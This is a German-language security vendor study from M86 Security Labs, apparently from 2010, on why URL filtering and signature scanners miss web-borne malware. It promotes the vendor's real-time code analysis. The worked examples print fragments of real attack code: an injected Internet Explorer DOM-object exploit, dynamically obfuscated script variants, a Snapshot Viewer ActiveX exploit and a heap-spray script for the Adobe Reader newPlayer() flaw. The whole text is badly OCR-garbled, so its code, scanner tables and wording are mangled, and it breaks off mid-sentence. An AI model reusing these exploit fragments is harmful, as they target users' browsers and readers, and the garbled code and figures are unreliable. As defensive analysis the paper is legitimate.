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Schluss mit SicherheitslUcken in
heutigen Web-Umgebungen

Studie der M86 Security Labs

Der geschaéftliche Nutzen des Web, einschlieBlich der Méglichkeiten zur globalen Zusammenarbeit und der Verfugbarkeit von Inhalten
in Echtzeit durch Web 2.0 Anwendungen, Ubersteigt die einer offenen Umgebung innewohnenden Risiken bei weitem. Trotz oder
gerade wegen der Bedeutung des Web flr die Produktivitét und Rentabilitat des Geschéftsbetriebs gibt es auch negative Aspekte. Das
Web macht Organisationen verwundbar gegentiber neuen Angriffen und schadbringenden Technologien, die klassische Abwehr- und
Schutzsysteme umgehen.

Es verwundert nicht, dass die meisten Angriffe zur Zeit Gber das Web und nicht per E-Mail durchgefihrt werden, weswegen die meisten
Anbieter fur [T-Sicherheit der Art und Menge der Angriffe unvorbereitet gegentiber stehen.

Trotz der immer ausgefeilteren Angriffe vertrauen viele Organisationen auf konventionelle Sicherheitsverfahren, um ihre Daten, Mitarbeiter
und Kunden zu schitzen. Die meisten Anwender nehmen an, ihre Systeme seien durch klassische Desktop-basierte Virenscanner und
regelmaBige Updates von Betriebssystem und Anwendungen ausreichend geschutzt. Das setzt aber voraus, dass der Grof3teil der
Anwender Updates sofort nach deren Erscheinen installiert, was nicht der Fall ist. Beispielsweise wird eine MDAC-Sicherheitsliicke, flr
die bereits 2006 ein Patch heraus gegeben wurde, heute immer noch erfolgreich fir Angriffe eingesetzt.

Noch enttduschender ist die Tatsache, dass sogar die sicherheitsbewusstesten Anwender geféhrdet sein knnen, je nachdem, welche
Tools und Applikationen sie zum Schutz einsetzen.

Der traditionelle Ansatz fUr Internetsicherheit ist ein mehrschichtiger Aufbau. Im Allgemeinen umfasst diese Strategie zwei Ebenen
am Gateway: URL-Filterung und die Anwendung signaturbasierter Virenscanner. Seit der EinfUhrung dieser Technologie sind die
Datenbanken mit Virensignaturen schier explodiert, da die Anbieter stets bestrebt waren, mit der Ausbreitung von Viren und anderer
Malware Schritt zu halten.

Anzahl unterschiedlicher Proben in der Malware-Sammlung von AV-Test.org
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Auch wenn wir eine kombinierte Nutzung mehrerer Technologien immer noch fiir notwendig halten, zeigen die jungsten Daten, dass
die Wirksamkeit von URL-Filterung und signaturbasierter Erkennung deutlich nachgelassen hat. Tatsachlich zeigen die Daten dieser
Studie, fUr die eine Auswahl von URLs mit Echter Malware verwendet wurde, eine alarmierend niedrige Effizienz der Produkte dreier
groBer Anbieter flr Virenschutz. Virenscanner erreichen nur eine Effektivitat von 40% bei Web-basierten Angriffen. URL-Filter erkennen
sogar nur 3% der gefahrlichen URLs korrekt als Malware. Wie groB ist also die Liicke? Mindestens 6 von 10 schadlichen URLs
durchdringen die Abwehr, wenn keine Echtzeit-Codeanalyse eingesetzt ist.

Eine kurzlich veréffentlichte Studie von IDC sagt dazu folgendes: ,Die Fortschritte der Web 2.0-Technologien erfordern eine vollig
neue Generation von Sicherheitswerkzeugen, die weit Uber traditionelle URL-Filter hinaus gehen.“" Diese Studie beschéftigt sich mit
der Effektivitat aktueller Werkzeuge und zeigt den Bedarf an einer Codeanalyse in Echtzeit als Grundlage fur die Bek&mpfung neuer,
dynamischer Gefahren im Web.

1) Worldwide Web Security 2009-1013 Forecast and 2008 Marketshares: Its All About Web 2.0 You Twitface, IDC, August 2009
m86security.com




WIE GUT SIND SIE GESCHUTZT?

Im Februar 2010 haben die M86 Security Labs Uber 30.000 aktive schadliche URLs gesammelt und getestet. Diese URLs wurden bei
den M86-Kunden sowie durch das M86-Securebrowsing Tool und aus Quellen von Drittanbietern gesammelt. Nachdem die Proben
auf ihre Aktivitat geprUft wurden, wurden sie mit drei verschiedenen Sicherheits-Tools auf Effektivitét getestet: Eine URL-Liste eines
Drittanbieters, drei signaturbasierte Virenscanner und die Technologie fir Codenalayse in Echtzeit des M86 Secure Web Gateway.

Die Ergebnisse werden Ihnen in Folge im Detail dargestellt.

URL-Filter

Zuerst wurde ein URL-Filter, eine der ersten Sicherheitstechnologien fir das Web, getestet. URL-Filter kontrollieren den Zugriff der
Anwender auf das Web und tberwachen und kontrollieren so die Produktivitat. Viele Anbieter fur URL-Filter haben aufwandige und
ausgefeilte Techniken zur Durchsuchung des Web entwickelt. Sie geben an, taglich Millionen von Webseiten auf Inhalte und Malware

zu prufen. Da aber inzwischen ein groBer Teil der infizierten Seiten durch regulare Websites gestellt wird, hat diese Erkennungsmethode
an Effektivitat eingebtBt. Damit diese Technik funktioniert, muss das Remote Scanning Netzwerk des Anbieters die Seite priifen,
wéhrend sie infiziert ist, und diese Aktualisierung dann sofort an die Kunden senden. Mit dem Wissen Uber die Funktionsweise umgehen
Cyberkriminelle diesen Mechanismus, indem sie viele Seiten nur fUr wenige Stunden infizieren.

Diese Tatsache wurde durch den Test der M86 Security Majwarg;? yware
Labs bewiesen: Von den Uber 15.000 URLs mit
schéadlichen Inhalten, die M86 mit einer der fuhrenden ,F

Filterlisten fUr URLs verglich, waren nur 444 oder ungefahr
3% als bekannte Mal- oder Spyware-Websites geflihrt.

Legitime Seiten

Mindestens ebenso beunruhigend ist die Tatsache, dass 20%

5.273 dieser URLs als bekannte legitime Websites gefuhrt
wurden und daher nicht ausgefiltert worden wéren. Die
verbleibenden 9.283 URLs waren nicht in der Liste gefuhrt Micht eingeordnet
und wurden daher als nicht kategorisiert gekennzeichnet. 63%

Die URLs wurden in Echtzeit getestet, indem die M86 Security Labs aktiv mit den schadlichen URLs versorgt wurden, die bei Kunden
auftraten. Auch wenn die Filterlisten damit sehr wenig Reaktionszeit hatten, zeigt dies doch die Gefahren eines einseitigen Vertrauens
auf eine Sicherheitsldsung, die sich alleine auf eine Filterliste fur URLs verlasst. Schon bevor M86 die Updates erhalten hatte, hatte
bereits eine Infektion stattfinden kénnen. Entgegen der verbreiteten Annahme wird URL-Filter-basierter Schutz gleichermalen von
groBen wie von kleinen Anbietern sowie in UTM-basierten Appliances eingesetzt. Zudem bieten einige sehr bekannte Anbieter nicht
skalierende Codeanalyse in Echtzeit an, die nur den Inhalt derjenigen URLs prUft, die in der Filterliste als schadlich gekennzeichnet sind
(8% in unserem Test). Das macht es noch gefahrlicher, sich auf diese Produkte zu verlassen.

Virenscanner

Viele Organisationen installieren Virenscanner auf den Desktop-PCs der Anwender. Als Best Practice setzen sie zudem eine andere
Virenschutzanwendung an ihrem Internet-Gateway ein und nehmen an, dass zwei Scanner einen angemessenen Schutz bieten, um die
meisten Gefahren abzuwehren. Wie aber die folgenden Ergebnisse zeigen, nimmt die Effektivitt dieser Losungen ebenfalls ab.

Wie auch beim Test der URL-Filter nutzten die M86 Security
Labs Uber 15.000 aktive schadliche URLs, die von den
Produkten bei Kunden erkannt wurden. Sie lieBen diese
von einer Kombination aus drei fUhrenden Virenscannern
prufen, um die Erkennungsrate zu testen. Von den 15.000
URLs wurden nur 6107 oder 39% von einem der drei
Scanner erkannt. Bedenkt man, dass alle drei Scanner flir
diesen Test eingesetzt wurden, so wird deutlich, dass die
Erkennungsrate beim Einsatz nur eines Scanners nochmals
schlechter gewesen ware.

Geblockt
39%

Micht geblockt

URL-Filter und Virenscanner stellen immer noch wichtige 61%

Elemente einer Sicherheitsstrategie flr das Web dar. Wie
jedoch aus der Studie hervor geht, sind diese Technologien
auch in Kombination nicht ausreichend, um den gesamten
Sicherheitsbedarf abzudecken. Es bleibt eine Llcke, die

6 von 10 Malwareangriffe aus dem Web durchldsst.

Um die Veranderungen besser zu verstehen, zeigt diese Studie im Anschluss einige Beispiele fur typische Angriffe und erklart die
Ublichen Wege, auf denen Cyberkriminelle bestehende statische AbwehrmaBnahmen leicht umgehen kdénnen.
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DIE GEFAHRENLANDSCHAFT IM UBERBLICK

Das Wissen uber die Verbreitung von Angriffen Uber das Web hilft bei der Entscheidung, welche Technologien und Produkte genutzt

werden sollten, um diesen Gefahren erfolgreich zu begegnen. Sind die Gefahren des téglichen Lebens erst einmal bekannt, so wird es
wesentlich einfacher, die Starken und Schwéchen jeder mdglichen Lésung zu bestimmen.

Geld ist der Beweggrund fUr viele Hacker, gleichermaBen private und geschéftliche Anwender ins Visier zu nehmen. Und ihr Erfolg
bestatigt sie in ihrem st&ndigen Streben, ihre Angriffsmethoden und -techniken zu perfektionieren.

Wo sich Sicherheitsliicken auftun

Cyberkriminelle bevorzugen zuvor unbekannte (Zero-Day-) Exploits, die eine beliebte regulére Seite ausnutzen. Sie wissen, dass ein
vollstandig dynamischer Angriff der Schitissel flr langfristigen Erfolg ist, auch nachdem der Zero-Day-Exploit von Sicherheitsfirmen
entdeckt wurde. Das bedeutet, dass der gleiche Code kaum ein zweites Mal Ubertragen wird. Jede Anfrage wird mit unterschiedlichem,

dynamisch erzeugtem und verschleiertem Code beantwortet. Um ihre Angriffe durchzuflhren, nutzen Cyberkriminelle die Kombination
dreier Elemente:

e Hacken legitimer Websites, um Malware einzuschleusen

e Ausflhren dynamischen Schadcodes

e Ausnutzen bekannter Schwachstellen

Als nachstes untersucht diese Studie alle drei Elemente der Angriffe mit Beispielen aus dem téglichen Leben.

Beispiel 1: Hacken einer legitimen Seite, um Malware einzuschleusen

Eine bekannte US-Sportseite wurde kirzlich von Cyberkriminellen gehackt, die ein Skript einsetzten, das von der Seite selbst
bereitgestellt wurde (anstatt auf einen anderen Server mit der Malware zu verweisen).

e
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Abbildung: Beispiel fir einen Skriptangriff

Der verschleierte Schadcode wird in den HTML-Code der Seite injiziert:
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Nach der Entschleierung wird ein Browser-Exploit sichtbar:

function MDZC() {

var t = new Array('{BD96C5'+'56-65R3-11'4'D0O-983A-00C04FC'4'29E30}", '{BD96C'4+'556-65A3-11'4'D
D4a21'+'0617116}"', '{000&F'+'033-0000-0000-COQO-000000"4'000046}", '{000&'+'FO3R-0000-0000-CO0OOD
delfa'+'91d2fe3}", "{6414'4+'512BE-BE978-451D-ARODE-FCFDF3'4'3E833C}"', '{TFS5B'4+'TF63-FOGF-4331-B4Z&
09FCD1D'"+'BO76G6} ", '"{6309F'4+'725F-1B2D-48'4+'31-A9FD-E87484'+'7682010}"', '{BRAO1EB'+'599-1DB3-44f'+’
25FSR1'4'1FAB19} ', '{EBC'4'CCDDF-CRZE-496b-B'+'050-6C0OTCO62'+"476E}", null):

var v = new Array(null, null, null);

var i1 = 0:

function ok() {
ol=document.createElement ("tbody™) ;
ol.click:

var o2 = ol.cloneMNode ()
ol.cleaxfhttributes();

ol=null; CollectGarbage():

for (var x=0:;x<al.length;x++) al[x].=src==sl;
o2 .click;

Dieser Code sollte von jedem Produkt fir Web-Sicherheit abgefangen werden. Jegliche Sicherheitslésungen, die auf URL-Filterung
und/oder Reputation einer Seite beruhen, werden hier aber bei der Erkennung der Gefahren versagen, da der fragliche Code von einer
legitimen Seite kam. Diese Seite hat aus folgenden Griinden eine gute Bewertung:

e Die Seite wurde 1995 erstellt (keine neue Seite und damit unverdachtig).
e Die Seite wird in den USA gehostet (nicht in China oder Russland).

e Die Seite ist zuvor nicht durch schéadliche Inhalte aufgefallen.

e Die Seite beschéaftigt sich nicht mit verfanglichen Themen.

Der Schadcode befand sich nur wenige Tage auf dieser Seite, bevor er von den Administratoren entdeckt und beseitigt wurde. Bei der
nachsten Untersuchung der Seite durch eine Suchmaschine, die flir die URL-Filterung und/oder Bewertung von Seiten genutzt wird,
wird der Inhalt der Seite hoffentlich wieder als ,Sport* erkannt.

Im besten Fall wirden die URL-Filter/Reputation-Engines diese legitime Seite priifen, wahrend der Schadcode sich noch auf der Seite
befindet, was aber nur &uBerst selten vorkommt. Und selbst dann wére es fUr die unschuldigen Besucher zu spét. lhre Systeme wurden
vom Schadcode infiziert, bevor die Seite als gefahrlich kategorisiert wurde. Damit tritt ein weiteres Problem zu Tage: Wenn Anwender
die Seite bei inrer taglichen Arbeit besuchen, wirde diese Art von Sicherheitstechnologie sie vom Besuch der Seite und damit von ihrer
Arbeit abhalten.
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Unten: Mehrere bekannte Produkte zur URL-Filterung kategorisierten die Seite, wahrend sie mit Schadcode infiziert war.
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Die sich standig andernden Websites verlangen nach einer wirklichen Echtzeitldsung, die den Inhalt wahrend des Zugriffs Uberprtift.
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Mit der patentierten Technologie zur Codeanalyse in Echtzeit kann das M86 Secure Web Gateway den wahren Zweck des schéadlichen

Codes richtig entziffern und identifizieren. AnschlieBend wird das schadliche Skript aus der Webseite entfernt, die Formatierung

berichtigt und der sichere Inhalt an den Anwender weitergegeben. Der Protokolleintrag des Secure Web Gateway, der die Blockierung

identifiziert, sieht folgendermal3en aus:

Block Reason
Content Soe

Security Rule Name

Die Richtlinie des M86 Secure Web Gateway, die zur Identifizierung dieses Angriffs gefuhrt hat, gibt weitere Informationen zur

versuchten Infektion:

This page (or parl of it) has besn blocked because it atltempls 1o exploit an appication level vulneranility,

Transacton [D & 488 188 MOFEA0T004874.
33841

Incoming

Cache.asan

Blgck Application Level Vulnerabiities

Behavior Profile (Script)
Yulnerability Anti.dote Profile

Cloned DOM Object Malformed Reference Yulnerability

Office Web Components Active Script Execution Yulnerability
IE Self-Executing HTML Arbitrary Code Execution Yulnerahility
IE Shell, Application Object Script Execution Yulnerability

IE RDS ActiveX Yulnerahility

RDS Cross Zone Scripting Vulnerability

IE WMIScriptUtils createObiject vulnerability

Behavior Profile (Script)
Vulnerability Anti.dote Profile

Cloned DOM Obiject Malformed Reference Vulnerability

Office Web Components Active Script Execution Vulnerability
IE Self-Executing HTML Arbitrary Code Execution Yulnerability
IE Shell. Application Object Script Execution Yulnerability

IE RDS ActiveX Vulnerability

RDS Cross Zone Scripting Yulnerability

IE WMIScriptUtils createObject vulnerability

Diese Richtlinie gehort zu dem voreingestellten Satz an Richtlinien, so dass die Anwender keine Updates durchflihren missen, um den

Angriff zu stoppen.

Die Erkennung und Entfernung von Schadcode aus einer legitimen Webseite bietet einen beachtlichen Schutz vor Angriffen. Oft jedoch

nutzen die Hacker dynamischen Schadcode, eine weitere Ebene der Angriffe im Web. Diese Art von Angriffen wird im n&chsten

Beispiel erklart.
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Beispiel 2: Ausfihrung dynamischen Schadcodes

Wenn Exploits durch Schadcode eine oder mehrere Schwachstellen ausnutzen, so erweitert sich die Angriffsflache. Mit einer
dynamischen Schadcode-Applikation im Hintergrund (ausgeflhrt als PHP oder RSPX) kann flr jede Browseranfrage ein anders

verschleierter Code erzeugt werden. Die Logik kann sich von Angriff zu Angriff andern, aber das Fazit bleibt: Jeder Anwender erhalt
einmalig verschleierten Code. Eine solche Logik kann auf dem geographischen Ort, der Art der Browsers oder der IP-Adresse der

Anfrage basieren.

<htmlr<bodys<span id='gg' style='visibility: hidden'></spanr<div id='aa' style='wisibility:
hidden'></divry<div id='bb' style='wvisibility: hidden' ></divr<div id='dd' style='wvisibility:
hidden'></div><script language='javascript'>Ffunctior uukbbi{povph, aaxr , bhbg ,xgedu) {var lozf =
"r.for {var i = 0 ; i < povph.length; ++i} ltzf += bhbgf{xgedu “{aaxr * povph.charCodedt{i}}) :
return ltzf;}wvar povph =

MRS KB XEEY x58 XEE KEE Y KEEY X EE K EEV X2T W RIV K2V X TEV RZEV X3 A X330 X3F 6N XEB Y XE5 X Eeh xEE REEY X223 x3 2N
H2THHTEY R2 T 2o w37 H3EY 394 w68 RA5Y xE6eh 58, xEEY w23 X34 H2 VY X TEY X3 6% X2V w3k x2dh X654 X655, uEeh w55 X5
Y3 RIAN KT HTE Y HI 2V K30 M2 K3 K34 KB K5 HAE Y HEB Y vEE N 23\ K3 AV K2 TV RTEV HIZ W H2 1V 22V K32\ HES Y KBS,
wEeh kB8 X5 E K2 K3 X2 P KT KA X2 X2 KO e X3t X8 XA xoe X8 X5 e X2 I 2PN HTE Y K3a X244 x2 1Y K3
24 HESY A5 X6 HEEY HEEY K23V 34V K2 VTV K TEY 20N K25 H3 4 3TV K27 HEBY KE5Y K6l X568 ¥E5E Y H23 Y 34 R2 7V H7EY 254
KZSY X T RZZN X3 TV B XE5 X x50 X SEV K23V X3V 2T X TEV RIE Y X3V x20Y Xx24 Y X2 3V X683 65 xee’ X558 x 55 x2

khtml><b0dy><span id='gq' =style='wvisibility: hidden'></span><div id='aa' style='wisibility:
hidden'></divr<div id='bh' =style='wisibhility: hidden'></div><div id='dd' style='wisibility:
hidden'></dive<script language='javascript'>Ffunction skbn{oxwr, erlgt , fzwo ,llxv){vazr sruy = "
;for (var i = 0 ; 1 « oxwr.length; ++i) sruy += fzwo(llxv “{erlgt * oxwr.charCodelkt(i)})) ;zreturn
Sruy:}var oxvr =

Myxbe k23N HSdh x93\ K24 O3 k9 K23 x0 4 xed EL Kech xhe\ xETy eeh xed\ xE0h xadh xaeh ket 193 k24 xedh 1L
Heoh Xxhe' ket xeah K24 KE2Y HE0Y Had xash xab x93\ x94h xe8h KLY xech xbe' XE2 XE4h xedh xEch xedh xadh xaeh xagh x9
w94 xed\xEfhxech xbe\ xeeh xeSh xEa  xefh HeTh xad xaeh xash x93 k94 xedh kL xech heh xef xE9Y HE5h xEh xadh
Haeh Xash X934 x94% ket K I xeoh xheh xEfoh xe bl xEah xE4h XE3h xadh xaeh Xash X903 ¥94h xes 1Efh xech xbe ke HE2Y Ke
bhxeehxedixadh waeh xadi 1234 94 xed\ xEEh xech xhe' xfah xedh xec xE04 a3t xaeh xash x93 x4\ xedh 1L xeo’ xheh
Xeah RE8% xedh xE7h ®adh xaeh xash x93 x94h xeB xEf xech xheh XE6Y xedh xeTh XESh ¥adh xash xabh ®93h x94h xedh REfh xe
chxbehxE8h xedh xfdh xedh xedh xadh xaeh xadh x93 x99 el xEE\ e xhe' ey wE9h wE3 N e e nEdh Xadh xash xash x93h

khtml}<b0dv><span id='gg' stvle='wisihility: hidden':></spanr<div id='aa' stvle='visibility:
hidden' ></div><div id='bh' style='wisibility: hidden':></divr<div id='dd' style='visibility:
hidden' ></div><script language='javascript'>Ffarckion cwnc{vzhju, weapr , rwwtw ,dsbzx) {var zduwr

= "rfor (var i =0 ; i < wvzbju.length; ++i) =zduwr += rmvtw{dshzx “(meapr " wvzhiu.charCodelt{i

V) rreturn zduwr ! }var vebiu =

mhowbhet x93 x9 x93 X944, x93 x99, x93 x9N xedh xfE e xhet xf 1 xed xE1 xEf 1N x£0Y xaldh xaeh xabh x93 x94% xedh
wEfh xec xhel xfol xf8Y x£1% xefh x£4) xadl xae’, xadl x23% x94% xef’, x££ xech xhel x£3% xfah x£84 xed) x£6% xad’l xasl xa
By %934 294 xefh xff xech xhet xEfdh x£2 ke’ xfhh xadh xae xadh %934 x94% xed £ xech xheh x£2Y xed’ x£9% xfhh xa3l
waeh xabh X934 x944 xedh x££ xech xhel xebh xe?h x£5% x£4Y xe9h xad’ xash xall x93% x94% kel x££ xech xha’, xefl xEEY xe
chxedlxefhxadt xae xadl x93 x94% xed £ xech xhet xeel xed xfdh xEfdh xa3 xaet xabh x93 x93, xel x££ xech xhel,
XL6h xed) x£5% xed) xadh xaeh xadh x93 x94% xedh x£LY xech xbeh xedh xefl xL64 xedh xadh xash xall x93% x94% xedl x££ xe
chxbel Lot xfat xS xed i xad i xaet xas x93 k944 xed xEf xech xhet xfb kL6 x9N xEch kL9 xad xaeh xaSh x93\ 194

khtml}<body><span id='gg' style='wvisibility: hidden'></spanr<div id='aa' style='wisibility:
hidden'></divr<div id='bh' style='wvisibility: hidden'></divr<div id='dd' style='visibhility:
hidden'»</divs<script language='javascript' >Ffanckien ngend{tghzo, hiju , lrny ,vwun) {var efxk = "7
;for (var i = 0 ; i < tghzo.length; ++1i) efxk += lray{vwvun *{hjju * tghzo.charcodelt{i)) ) ;rekturn
efxk:}var tghzo =

™y x9a ®h T K0 ®h 7 xh0h 2k kb0 by kb0 xee xdbhh ko8t k98 kA2t xd8h xd2h xd9h x8 7 x8ah x8 1% xb 7 xb0h xe e xdb
®xeE8 x9a0 A5 kA9 xedh xe0h xdlbh k87 k884 x81% xb 7 xh0h xeeh xdbh xeBh x9ah xddh xe0h xdEh xd2 x587 288l x81% xb 7 xb
0% e xdbh xeBh x9ah xe2h xdeh xd8h xd7h ®87h x8ah x8 15 xh 7y xh0h xeeh xdkh ko8 98 xd 1y xde’ xddh xdfh xd0y x87% x8ah
*x81% #h 7 xh0h koo xdibh 2ol x9ah xo 30 xd 3 xo0h xdeh x87 x8a) k814 xh 7Y xb0% xech xdbh o8t x9ah xdEh xd7 Xdeh xd8h x8
ThxSahx81h xh 7y xb0Y xoch xdbhh xe8h x9ah xd5h o2t xd8h xd5h x5 7 x8ah x81h xh Ty xh0Y xech xdhh xe8h x9ah xd2h xdASh xdah

Die obigen Codeausschnitte zeigen verschiedene Verschleierungen fur Schadcode, die von der gleichen Website auf verschiedene
Browseranfragen hin generiert wurden. Der Code wird dynamisch zur Laufzeit erzeugt. In diesem Fall sind Sicherheitsldsungen nutzlos,

die auf statischen Signaturen beruhen, da es eine unendliche Anzahl mdglicher Signaturen fir den Schadcode gibt.

Schluss mit Sicherheitsllicken in heutigen Web-Umgebungen

Seite 7



Um diesen Punkt zu verdeutlichen, nahmen wir einen der Codeausschnitte und lieBen ihn von Virenscannern prifen, um festzustellen,
wie gut der Code erkannt werden wrde:

I Cumrent status: finished 1
Fesult &/d41 (14.63%)

|ﬂm Pret resullz &

| Aniivirus Wersion Last Update  Resull

I a-squared 4.5.0.50 2010.02.21 -

| AtinLab-v3 5.0.0.2 2010.02.20 -

E Antivic 8.2.1.170 2010,02.19 -

1anuv—.m. 2.0.3.7 2010,02.19 -

Authentium 5.2.0.5 2010.02.20 -

| Avast 4,8.1351.0 2010,02.21 J5:Downloadez-1D

‘ e 9.0.0.730 2010.02.21 J5/Downlosdsr. Agent

Bithefender 7.2 2010.02.21 -

CAT-(uickHeal 10.00 2010.02.19 =

| ClamAv 0.96.0.0-git 2010.02.21 -

!L’mdo 4013 2010.02.21 TrojVare,Js.Obfuscated. -C6

i DeWeb 5.0.1.128282 2010,02.2L -

| esate 7.0.17.0 2010.02.2L -

eTrusc-Vet 35.2.7315 2010.02.20 -

F-lrot 4.5.1.88 2010.02.20 J5/Psyme.IX. gen

F-Secure 9.0.15370.0 2010.02.15 -

Fortinet 4.0.14.0 2010,02.21 -

! Ghata 19 2010.02.21 J5:Downloader-LD

Ikacus T3.1.1.80.0 20100221 -

| Tianguin 13.0.900 2010,02.21 -

El-l'?jnr.l.?i:ua 7.10.979 2010,02,20 -

Kazperaky T.0.0.125 2010.02.17 Exploic. 5. Agent,ax)

Hchfee 5898 2010,02.20 -

| HcAfeethrremia 5898 2010.02.20 -

| HcAfee-GU-Edition 6.8.5 2010.02.19 -

Hiceasofr 1.5406 2010.02.21 -

;Emaa 4634 2010,02.21 -

| Worman £.04.08 2010.02.21 -

| nProtect 2009.1.8.0 2010.02.21 -

Panda 10.0,2.2 2010.02.21 -

PCToola 7.0.3.5 2010.02.21 -

Prevs 3.0 2010.02.21 -

Rising 22.34.01.03 2010.02.11 =

!IMM: 4,50.0 2010:02.2L -

| sunele 5690 2010,02.20 -

| symentec 20091.2.0.41  2010.02.21 -

TheHacker 6.5.1.5.202 2010.02.21 =

f Trendficro 9,120.0, 1004 2010.02.21 -

i VBA3Z 3.12.12.2 2010.02.2L =

ViRobot 2010.2.19.2194 2010.02.1% -

VirusBuster 5,0,27.0 2010,02.2L -

Die Ergebnisse waren nicht zufrieden stellend: Nur sechs von 42 Virenscannern erkannten den Code korrekt als Malware. Leider ist
dieser Code typisch fur die Malware, mit denen die Anwender konfrontiert werden. Und in diesem Fall waren die Anwender infiziert
worden.
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In diesem Beispiel waren signaturbasierte Virenscanner nicht in der Lage, den Angriff aufzuhalten. Das M86 Secure Web Gateway

hingegen hat den Schadcode in Echtzeit korrekt entschleiert, wahrend des Downloads durch den Anwender:

if{dfec='[object] ') {
for{inmnt in vgzz){
ey

dfec=new ActivelOhject('snpvw.Snapshot Viewer Control.1'):

var oakve=vgzz[imnt]

dfec. Zoow=0;
dfec.ShowlNavigationButtons=false;
dfec.lllowContextMenu=Ffalse:
dfec.3napshotPath='hctp: /
dfec.CompressedPath=oakve;
dfec.Printinapshot(}) ;

Das M86 Secure Web Gateway hat die versteckten Exploits im Code korrekt erkannt:

'BO5E£35dbeSfoS4nse74056a06dEoas! ;

Behavior Profile (Script)
Vulnerzbilty Anti.dote Profile
Microsoft Access Snapshot Viewer AdtiveX Contral Vulnersbility

Microsoft Visual Studic {Msmask32.00x) AdtiveX Vulnerability

Mzsked Edit Control Memory Corruption Vulnerzbiliy {VEBzsic]

IE Szif-Executing HTML Arbitrary Code Execution Yulnerzbiliy
Diefault Profile - Script Bzhavior

File Wfrite

Fo H el

[-]

+]

[+]

Abbildung oben: Detaillierte Analyse des M86 Secure Web Gateway. Die aktive Echtzeit-Codeanalyse des Datenverkehrs der
Anwender ist unerlassliche Voraussetzung flr die Erkennung und Blockade von Crimeware, die durch dynamische Verschleierung die
klassischen Sicherheitslésungen zu umgehen versucht. Die erfolgreiche Erkennung und Abwehr von Angriffen mit dynamischem Code
ist ein weiterer wichtiger Schritt zur Vermeidung von Sicherheitsltcken. Doch flr jede TUr, die den Cyberkriminellen geschlossen wird,

offnet sich eine andere. Das n&chste Beispiel zeigt einen sehr ausgefallenen Angriff Gber das Web.
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Beispiel 3: Ausnutzen bekannter Sicherheitsliicken (Zero-Day-Attacken)

Zero-Day-Attacken haben eine beachtliche Erfolgsquote bei der Infektion von Systemen. Die folgende Zeitleiste zeigt
sieben Zero-Day-Attacken aus der zweiten Jahreshalfte 2009 und das Problem des ,Zeitfensters flr Verwundbarkeit*.

Das folgende Diagramm zeigt den zeitlichen Abstand zwischen der Entdeckung der Sicherheitsllicke und der Freigabe eines
Patches oder einer Aktualisierung durch den Hersteller.

Users
Vulnerable

Users Users

ulnerable

oz

Vulnerable

Window of
Vulnerability

CVE-2010-02485

CVE-2005-4324

CVE-2009-3672

CVE-2009-2493

CVE-2009-1862

CVE-2005-2496

CVE-2008-0015

9 Days

30 Days

19 Cays

B8 Days

10 Days

27 Days

30 Days

In diesem Beispiel waren die Anwender den Angriffen wahrend tber 40% der Zeit schutzlos ausgeliefert, sogar wenn man annimmt,

dass Updates sofort installiert wurden.

Zero-Day-Attacken ermdglichen den Angreifern deutlich héhere Erfolgsaussichten bei der Infektion bzw. beim Einbruch in
fremde Systeme. Technologien zur Codeanalyse in Echtzeit sind besonders wirksam gegen Zero-Day-Attacken, sogar bevor die
Sicherheitsllicke Uberhaupt bekannt gemacht wird.

Ein Beispiel: Am Dienstag, 15. Dezember 2009, wurde in der Sicherheitsbranche eine neue Schwachstelle von Adobe-Produkten

bekannt, die ausgenutzt wurde (CVE-2009-4324).

Adobe Reader/Acrobat "Doc.media.newPlayer()" Memory Corruption

Secunia Advisory:
Release Date:
Last Update:
Popularity:

Critical:

Impact:
Where:
Solution Status:

Software:

Description:

SA37690 =

2009-12-15 Secun 1a
2009-12-16 Stay Secore
6,490 views
o

xtremel ritical

System access
From remote
Vendor Workaround

A Acr s

A Acr Profassional
A Acr *

A Acr *

A r8.x

A r9.x

A vulnerability has been reported in Adobe Reader and Acrobat, which can be exploited by
malicious people to compromise a user’s system.

The vulnerability is caused due to an unspecified error in the implementation of the
“Doc.media.newPlayer()” JavaScript method. This can be exploited to corrupt memory and
execute arbitrary code via a specially crafted PDF file.

E: This vulnerability is currently being anively@

Die Techniken zur Code- und Verhaltensanalyse priifen das gefahrliche PDF-Dokument und zeigen, wie diese Angriffe entdeckt werden,
bevor sie von Cyberkriminellen genutzt werden kénnen.
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Unten finden Sie den codierten JavaScript-Datenstrom der infizierten PDF-Datei:

SLréam

wOukMo - CE=_ * OEEe- = u

O0or0*VEY Bmp0~ . " s SEERY . wEERT | H-fag < Toe )=s0-+ o TovoEEREROY f &4

nm e - n OEEREER) 40

B0 =i0u%] 0, . SEEEE] DYp<F D3 " Toneifele =40\ oqWetipas EREnMyDNg  Spl° Lreebdl<s /o> [UA-AN =™ |=F~i:Z
bR wdv O0ne jE381 0 «ER2S

(DERE N - EAARCERVER . v 0L ERen) 0sER, 704 MR EeEN , - EEE0Y

Gt R R LO: "e L0070 W) ook S PT ;AR R R RO RS

SFOMReLEEE o 19 EEOy )T EREENES. - )\ EEE: <e ning [E@s ) HER

k10p 000, - Z& FOp" o EROD" BRGS0 EER.7 E80en - 0A% 988 (B0  EREERa0 " 0 Do o0 EEEn MR, - angs ™
andetraam

endobi

111112 0 ebj<</Pilter/Flatebacods/ Leangth 170*>5t réam

#O=0AER, OFEAC: c03/0 HeER F (75 0@ n [ER 5 "« 70coth s BRE- 0 oD M0, RSy oo ors A e FiE=E TR
EX

andstraam

Nach der Decodierung wird der JavaScript-Schadcode sichtbar:

yvleratiZ=new Arrav();

wvar fzfpal = TARGO0P0ARGROD0T  replace (/ARG /g, "%u’™);

war imkuijn? = "Z54EBEZVLEABZBB3CE3LT4EK3TAEEAFEETABBEN3IEKES3FEZ4009ZAD41ZDE33ZHF3AZ14BEZE3828274E
fzfpaB=une=scaps (f=fpal);

imkuijn?=unezcape (imkuin?) ;endstream

endobij

H111112 0 obj<</Filter/FlateDecode/Length 178>>stream

while (fzfpal.length <= 0=zE8000) {fzfpabB+=fzfpald;

fefpaB=fzfpaf.zubstr (0, 0=8000 - imkuijn?.length} ;

for (gofmeq=0;:gofmeqg<xsbrgm; gofmeq+t+ reT s ] g + imkuijnZ;}

if (xsbrgm) {dwdsfl () ;dwdsfl () ;try ({this. media.newPlayer (inull) ; }) catchie) {}dwdsfl();}endstream
endob]j

“trailer<</Root 1 0 R /Size 11>>

An diesem Punkt erkennt die Engine die Sicherheitslicke ,newPlayer()“ (rot markiert). Da es sich hierbei um eine Zero-Day-Attacke
handelt (das M86 Secure Web Gateway wird zum ersten Mal damit konfrontiert), wirde die ,newPlayer()-SicherheitslUcke als
